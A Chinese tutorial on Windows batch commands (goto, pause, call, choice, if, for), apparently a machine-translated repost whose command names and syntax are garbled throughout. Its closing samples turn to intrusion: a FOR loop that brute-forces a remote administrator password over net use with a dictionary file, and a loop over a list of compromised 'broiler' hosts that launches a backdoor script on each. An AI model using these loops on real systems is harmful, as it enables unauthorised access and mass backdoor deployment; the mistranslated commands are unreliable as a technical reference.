
语法: 转到标签(label是一个参数,用于指定批处理程序中要转到的行. )
示例:
如果{%1} == {}进入noparms
如果{%2} == {}转到noparms(如果您不知道%1,%2是否在这里,请先跳转,稍后再进行详细说明. )
@Rem检查参数是否显示为空
: noparms
回声用法: monitor.bat服务器IP端口号
转到结束
标签名称可以是您想要的任何名称,但最好使用有意义的字母. 在字母前面添加字母: 表示字母是标签. goto命令基于此: 查找下一步并跳到那里. 最好有一些解释,以便其他人似乎可以理解您的意图.
4.Rem命令
注释命令,相当于C语言中的/ * -------- * /,将不执行,仅作为注释,方便其他人自己阅读和修改以后.
雷姆消息
示例: @Rem这是描述.
5. 暂停命令
运行暂停命令时,将显示以下消息:
按任意键继续...
示例:
@回声关闭
: 开始
复制a: *. * d: \返回
echo请将新磁盘放入驱动程序A
暂停
开始
在此示例中,驱动器A中磁盘上的所有文件都复制到d: \ back. 显示的注释提示您将另一个磁盘放入驱动器A. pause命令将暂停程序,以便您可以更换磁盘,然后按任意键继续处理.
6.Call命令
从一个批处理程序调用另一个批处理程序,并且不要终止父批处理程序. call命令接受用作呼叫目标的标签. 如果您在脚本或批处理文件之外使用“调用”,则在命令行上将无法使用.
语法
调用[[驱动器: ] [路径]文件名[BatchParameters]] [: 标签[参数]]
参数
[驱动器: } [路径]文件名
指定要调用的批处理程序的位置和名称. filename参数必须具有.bat或.cmd扩展名.
7.start命令
调用外部程序. 启动命令可以调用所有DOS命令和命令行程序.
入侵常用参数:
最小化开始时最小化窗口
SEPARATE在单独的空间中启动一个16位Windows程序
HIGH在HIGH优先级类别中启动应用程序
REALTIME在REALTIME优先级类别中启动应用程序
WAIT启动应用程序并等待其结束
参数这些是传输到命令/程序的参数
当执行的应用程序是32位GUI应用程序时,CMD.EXE返回命令提示符,而无需等待应用程序终止. 如果在命令脚本中执行,则不会发生这种新行为.
8.choice命令
选择使用此命令允许用户输入字符以运行不同的命令. 在使用/ c: 参数时,应添加/ c: 参数,并且可以输入的字符应在c: 后写有空格. 它的返回码是1234 ...
例如: choice / c: dme碎片整理,内存,结束
将显示
碎片整理,内存,结尾[D,M,E]?
示例:
Sample.bat的内容如下:
@回声关闭
选择/ c: dme碎片整理,内存,结束
如果错误级别3转到碎片整理(应首先判断具有最高值的错误代码)
如果错误级别为2,请转到内存
如果errotlevel 1转到终点
: 碎片整理
c: \ dos \碎片整理
转到结束
: 内存

内存
转到结束
: 结束
再见
运行此文件后,它将显示碎片整理,内存,结尾[D,M,E]?用户可以选择dme,然后执行if语句进行判断,d表示执行标签为碎片整理的程序段,m表示执行标签mem的程序段,e表示执行标签为结尾的程序段,每个程序段最终都将程序跳转到带有goto end的结束标签,然后程序将显示再见,并且文件结束.
9.If命令
if表示它将判断是否满足指定条件并决定执行不同的命令. 共有三种格式:
1,如果要执行“参数” ==“字符串”命令
如果参数等于指定的字符串,则条件为true,请运行命令,否则运行下一个句子. (请注意,有两个等号)
如果“%1” ==“ a”则格式化a:
如果{%1} == {}进入noparms
如果{%2} == {}转到noparms
2. 是否存在文件名要执行的命令
如果指定的文件存在,则条件为true,请运行命令,否则运行下一个句子.
如果存在config.sys,请编辑config.sys
3,如果错误级别/错误级别编号不是要执行的命令
如果返回码等于指定的数字cmd常见命令使用 2学时,则条件为true,请运行命令,否则运行下一个句子.
如果错误级别2转到x2
在DOS程序运行时,它将向DOS返回一个数字,称为错误代码errorlevel或返回代码,常见的返回代码为0、1.
10.for命令
The
for命令是一个更复杂的命令,主要用于在指定范围内执行命令的参数.
在批处理文件中使用FOR命令时,请使用%%变量指定变量
对于{%变量| (set)中的%% variable}执行命令[CommandLineOptions]
%变量指定一个字母可替换参数.
(设置)指定一个文件或一组文件. 可以使用通配符.
command指定每个文件要执行的命令.
命令参数为特定命令指定参数或命令行开关.
在批处理文件中使用FOR命令时,请使用%%变量指定变量
请勿使用%变量. 变量名称区分大小写,因此%i与%I不同
如果启用了命令扩展名,则以下其他FOR命令格式将受到影响
支持:
FOR / D%变量IN(设置)DO命令[命令参数]
如果集合中包含通配符,请指定以匹配目录名,而不是文件
名称匹配.
FOR / R [[驱动器: ]路径]%变量IN(设置)DO命令[command-
检查以[drive: ]路径为根的目录树,指向每个目录中的目录
FOR语句. 如果/ R后没有指定目录,则当前
已使用
目录. 如果集合仅是一个单点(. )字符,则将枚举目录树.
FOR / L%变量IN(开始,步骤,结束)DO命令[command-para
此集合表示从开始到结束的数字序列.
因此(1,1,5)将产生序列1 2 3 4 5,(5,-1,1)将产生
顺序(5 4 3 2 1).
FOR / F [“ options”]%变量IN(文件集)DO命令
FOR / F [“ options”]%变量IN(“字符串”)DO命令
FOR / F [“ options”]%变量IN(命令)DO命令
或者,如果有usebackq选项:
FOR / F [“ options”]%变量IN(文件集)DO命令
FOR / F [“ options”]%变量IN(“字符串”)DO命令
FOR / F [“ options”]%变量IN(命令)DO命令
filenameset是一个或多个文件名. 继续到文件名集
在下一个文件之前,已打开,读取和处理每个文件.
处理过程包括读取文件,将其分成文本行,然后将每一行分开
解析为零个或多个符号. 然后使用找到的符号字符串变量值
调用For循环. 默认情况下,/ F由每个文件中的每一行分隔
第一个空白符号

. 跳过空白行. 您可以指定可选的“选项”
该参数替换默认的解析操作. 该带引号的字符串包含一个或多个
为不同的解析选项指定关键字. 这些关键字是:
eol = c表示行注释字符的结尾(仅一个)
skip = n-表示文件开头忽略的行数.
delims = xxx-表示定界符集. 这将取代空格键和Tab键
默认的定界符设置.
tokens = x,y,m-n-指每行的哪个符号传递给每次迭代
本身. 这将导致其他变量名称
格式是一个范围. 用第n个符号指定m
符号字符串中的最后一个字符星号
然后,多余的变量将在最后一个符号中解析
分配并接受该行的保留文本.
usebackq-指定在以下情况下已经使用了新语法:
将带引号的字符串作为命令执行,并且
引号字符是文本字符串命令,并且在fi中允许使用
使用双引号将文件名扩展为
.
sample1:
FOR / F“ eol =;令牌= 2,3 * delims =,”%i in(myfile.txt)执行命令
将分析myfile.txt中的每一行cmd常见命令使用 2学时,而忽略以分号开头的行,
每行中的第二个和第三个符号传递给for程序的主体;使用逗号和/或
空格分隔符. 请注意,此程序主体语句引用%i
获取第二个符号,引用%j以获取第三个符号,引用%k
获取第三个符号之后的所有剩余符号. 对于带有空格的文件
名称,您需要用双引号将文件名引起来. 为了用这种方式做
使用双引号,您还需要使用usebackq选项,否则,双引号将
可以理解为用于定义要分析的字符串.
%i在for语句中有具体说明,%j和%k被传递
tokens =选项特别说明. 您可以传递令牌=一行
最多指定26个符号,只要您不尝试指定比字母z或字母大的符号即可
Z的变量. 请记住,FOR变量是单个字母,区分大小写和全局;
同时使用的数量不超过52.
您还可以在相邻的字符串上使用FOR / F分析逻辑;方法是
用单引号将括号内的文件名集括起来. 这样,角色
该字符串将被视为文件中的单个输入行.
最后,您可以使用FOR / F命令来分析命令的输出. 方法是
括号之间的文件名集将成为一个后括起来的字符串. 字符串将
它被视为命令行并传递给子CMD.EXE,其输出将被捕获
内存,并作为文件进行分析. 因此,下面的示例:
FOR / F“ usebackq delims ==”%i IN(`set`)DO @ echo%i
枚举当前环境中环境变量的名称.
此外,增强了FOR变量引用的替换. 您现在可以使用以下
选项语法:
〜I-删除所有引号(“)并展开%I
%〜fI-%I扩展为完全限定的路径名
%〜dI-仅将%I扩展为驱动器号
%〜pI将%I扩展到一条路径
%〜nI-仅将%I扩展为文件名
%〜xI-仅将%I扩展为文件扩展名
%〜sI-扩展路径仅包含短名称
%〜aI-展开%I到文件的文件属性
%〜tI-%I扩展到文件的日期/时间
%〜zI-%I扩展到文件大小
%〜$ PATH: I-找到路径环境变量中列出的目录并展开%I
找到的第一个完全限定名称. 如果环境变量
未定义或找不到文件,此组合键将展开

空字符串
您可以组合使用修饰符以获得多个结果:
%〜dpI-仅将%I扩展到驱动器号和路径
%〜nxI-only将%I扩展为文件名和扩展名
%〜fsI-仅将%I扩展为带有短名称的完整路径名
%〜dp $ PATH: i-找到路径环境变量中列出的目录并展开%I
转到找到的第一个驱动器号和路径.
%〜ftzaI-Exp %% I转换为DIR,如输出线
在上面的示例中,%I和PATH可以用其他有效值替换. %〜语法
以有效的FOR变量名终止. 选择大写变量名称,例如%I
更容易阅读,避免与不区分大小写的键组合混淆.
以上是MS的官方帮助. 下面我们提供一些示例来说明For命令在入侵中的用途.
sample2:
使用For命令在目标Win2k主机上实现暴力破解密码.
我们使用net use \\ ip \ ipc $“ password” / u: “ administrator”尝试连接目标主机,并在成功时写下密码.
最重要的命令是一个: for / f i%in(dict.txt)do net use \\ ip \ ipc $“ i%” / u: “ administrator”
使用i%代表admin的密码. 在dict.txt中,使用i%的值与net use命令连接. 然后将程序的结果传递给find命令-
(dict.txt)中的/ fi %%做网络使用\\ ip \ ipc $“ i %%” / u: “管理员” |找到“: 命令已成功完成” >> D: \ ok.txt,所以很.
sample3:
您是否曾经有很多肉鸡在等您种植后门+木马? ,当数字特别大时,一件很幸福的事情就会变得很沮丧: ). 本文开头讨论了使用批处理文件简化日常或重复性任务. 那么如何实现呢?哈哈,看完后你会明白的.
只有一个主要命令: (在批处理文件中使用FOR命令时,请使用%%变量指定变量)
@for / f“令牌= 1,2,3 delims =” %% i in(victim.txt)in开始呼叫door.bat %% i %% j %% k
本文来自电脑杂谈,转载请注明本文网址:
https://www.pc-fly.com/a/jisuanjixue/article-207459-1.html
只要有的
面对伊拉克要倒向请求帮助空袭